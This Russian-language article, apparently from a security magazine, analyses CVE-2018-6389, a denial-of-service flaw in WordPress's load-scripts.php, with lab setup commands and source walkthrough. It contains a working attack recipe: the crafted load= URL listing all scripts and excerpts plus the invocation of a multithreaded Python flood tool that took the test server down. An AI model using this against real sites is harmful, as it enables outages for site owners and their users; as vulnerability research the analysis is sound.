В WordPress, самой популярной CMS в мире, была найдена ошибка, которая позволяет вызывать отказ в обслуживании сайта, то есть DoS. Успешную эксплуатацию с легкостью возможно провести удаленно, и для этого не нужно обладать никакими правами в системе.
Брешь была обнаружена израильским ресерчером Бараком Тавили (Barak Tawily aka Quitten), когда он изучал очередной проект на WordPress. Уязвимость получила идентификатор CVE-2018-6389 и присутствует на тысячах сайтов по всему миру, так как разработчики из WordPress Foundation не спешат признавать серьезность проблемы и исправлять ее. В результате от бага не избавлены даже самые свежие на момент написания статьи версии CMS — 4.9.5.
Итак, предлагаю посмотреть на уязвимость поближе, а там ты уже сам решишь, насколько страшен черт.
Я уже неоднократно поднимал стенд для тестирования уязвимостей в WordPress, чтобы написать об очередной уязвимости, поэтому быстренько пробегусь по основным аспектам, не сильно вдаваясь в подробности.
По традиции используем контейнер Docker на Debian и седьмую версию PHP с Apache.
$ docker run -it --rm -p80:80 --name=wpdos --hostname=wpdos debian /bin/bash $ apt-get update && apt-get install -y mysql-server apache2 php php7.0-mysqli nano wget
Скачиваем и распаковываем WordPress версии 4.9.5:
$ cd /tmp && wget https://wordpress.org/wordpress-4.9.5.tar.gz $ tar xzf wordpress-4.9.5.tar.gz $ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/ $ chown -R www-data:www-data /var/www/html/
Запускаем необходимые сервисы:
$ service mysql start && service apache2 start $ mysql -u root -e "CREATE DATABASE wpdos; GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'megapass';"
Дальше дело за установкой CMS через браузер.
Итак, Тавили во время просмотра очередного сайта на WordPress обратил внимание на скрипт load-scripts.php
. Он используется для отображения JavaScript. Названия загружаемых файлов указываются в параметре load
, и при выводе их содержимое объединяется. Сделано это для того, чтобы ускорить загрузку страницы и уменьшить количество запросов к серверу.
Таким образом, чтобы браузер получил все нужные для корректного отображения файлы JS, достаточно сделать запрос на один скрипт load-scripts.php
, в параметрах которого будут перечислены все необходимые файлы JavaScript. Это, кстати, довольно распространенная практика при разработке бэкенда. Та же логика у скрипта load-styles.php
, только в отношении файлов CSS.
Посмотрим на исходный код load-scripts.php
. Названия файлов указываются через запятую.
17: $load = $_GET['load']; 18: if ( is_array( $load ) ) 19: $load = implode( '', $load ); 20: 21: $load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load ); 22: $load = array_unique( explode( ',', $load ) );
Какие же скрипты мы можем загрузить? Разумеется, произвольный файл прочитать не получится, существует четко прописанный список разрешенных объектов.
48: foreach ( $load as $handle ) { 49: if ( !array_key_exists($handle, $wp_scripts->registered) ) 50: continue; 51: 52: $path = ABSPATH . $wp_scripts->registered[$handle]->src; 53: $out .= get_file($path) . "n"; 54: }
Этот список находится в свойстве registered
класса WP_Scripts
и заполняется при помощи функции wp_default_scripts
из файла script-loader.php
.
36: $wp_scripts = new WP_Scripts(); 37: wp_default_scripts($wp_scripts);
37: /** 38: * Register all WordPress scripts. ... 46: * @param WP_Scripts $scripts WP_Scripts object. 47: */ 48: function wp_default_scripts( &$scripts ) {
Пополняется список разрешенных к загрузке файлов при помощи метода add
.
048: function wp_default_scripts( &$scripts ) { ... 086: $scripts->add( 'wp-a11y', "/wp-includes/js/wp-a11y$suffix.js", array( 'jquery' ), false, 1 ); 087: 088: $scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", array(), '1.6.1', 1 ); ... 125: $scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", array('utils','jquery'), false, 1 ); ...
В параметрах вызова указываются название элемента, путь до файла, зависимости от других элементов, версия и прочее.
18: class WP_Scripts extends WP_Dependencies {
206: public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) { 207: if ( isset($this->registered[$handle]) ) 208: return false; 209: $this->registered[$handle] = new _WP_Dependency( $handle, $src, $deps, $ver, $args ); 210: return true; 211: }
Полный список всех вызовов загружаемых элементов можно найти тут. Всего их 181. По умолчанию загружаются минифицированные версии скриптов.
67: $suffix = SCRIPT_DEBUG ? '' : '.min'; 68: $dev_suffix = $develop_src ? '' : '.min';
Идея в том, чтобы прочитать все возможные JS-файлы одним запросом. Он получается монструозным, не буду приводить его целиком, но вместо многоточия в конце должно идти еще 170 названий файлов.
http://wpdos.visualhack/wp-admin/load-scripts.php?load=utils,common,wp-a11y,sack,quicktags,colorpicker,editor,wp-fullscreen-stub,wp-ajax-response,wp-api-request,wp-pointer...
Время, прошедшее от отправления запроса до первого полученного байта ответа, равно ~500 миллисекунд. Примерно столько сервер обрабатывал этот запрос.
Каждый файл читается отдельно при помощи file_get_contents
.
102: function get_file( $path ) { 103: 104: if ( function_exists('realpath') ) { 105: $path = realpath( $path ); 106: } 107: 108: if ( ! $path || ! @is_file( $path ) ) { 109: return ''; 110: } 111: 112: return @file_get_contents( $path ); 113: }
Получается, что каждый запрос будет вызывать 181 операцию ввода-вывода, и если таких запросов будет много, то в скором времени у сервера могут начаться проблемы. Особенно это касается сайтов на shared-хостингах.
Теперь давай организуем множественные запросы к такому URL. Тавили для этих целей использовал самописную утилиту под названием doser, которая выполняет запросы к серверу в указанное количество потоков. Сам скрипт написан на Python 2.7 с использованием библиотек requests и threading.
Процедура вызова проста:
$ python doser.py -g <url> -t 999
Ключ g
говорит нам, что нужно отправлять запросы методом GET, а с помощью t
можно указать количество потоков.
067: def sendGET(url): ... 070: try: 071: request_counter+=1 072: request = requests.get(url, headers=headers) ... 094: while True: 095: global url 096: sendGET(url) ... 113: def main(argv): ... 115: parser.add_argument('-g', help='Specify GET request. Usage: -g '<url>'') ... 119: parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int) ... 128: for i in range(args.t): 129: t = SendGETThread()
Возможно, решение не самое быстрое и оптимальное, но скрипт работает добросовестно и с задачей справляется. После двух тысяч запросов наш простенький сервер уже недоступен для обычного пользователя.
Чтобы добавить еще немного нагрузки, можешь дополнительно отправлять запросы на загрузку файлов CSS через load-styles.php
.
Вот такой нестандартный вектор атаки. Конечно, импакт от его использования не слишком серьезный, иначе мы бы уже наблюдали массовый «падёж». Правильно настроенный выделенный сервер от такого трюка пострадать не должен. А вот на shared-хостингах стоят лимиты на потребляемые ресурсы, и, если они исчерпаются, могут возникнуть проблемы. Так, во время тестирования на одном из моих сайтов хостер заспамил мне почту сообщениями о превышении выделенных лимитов.
Почему же в WordPress не считают это своей проблемой и не торопятся исправлять? С одной стороны, разработчиков можно понять: они не несут ответственности за использование их CMS на слабых или некорректно настроенных серверах (WordPress вообще-то далеко не самая легкая CMS). Но это совсем не то, что хочется слышать от разработчиков системы, на которой работает твой блог. Проблему все равно придется фиксить, и я уверен, что есть масса безобидных способов сделать это. Да ей уже дали CVE, в конце концов!
Читайте также
Последние новости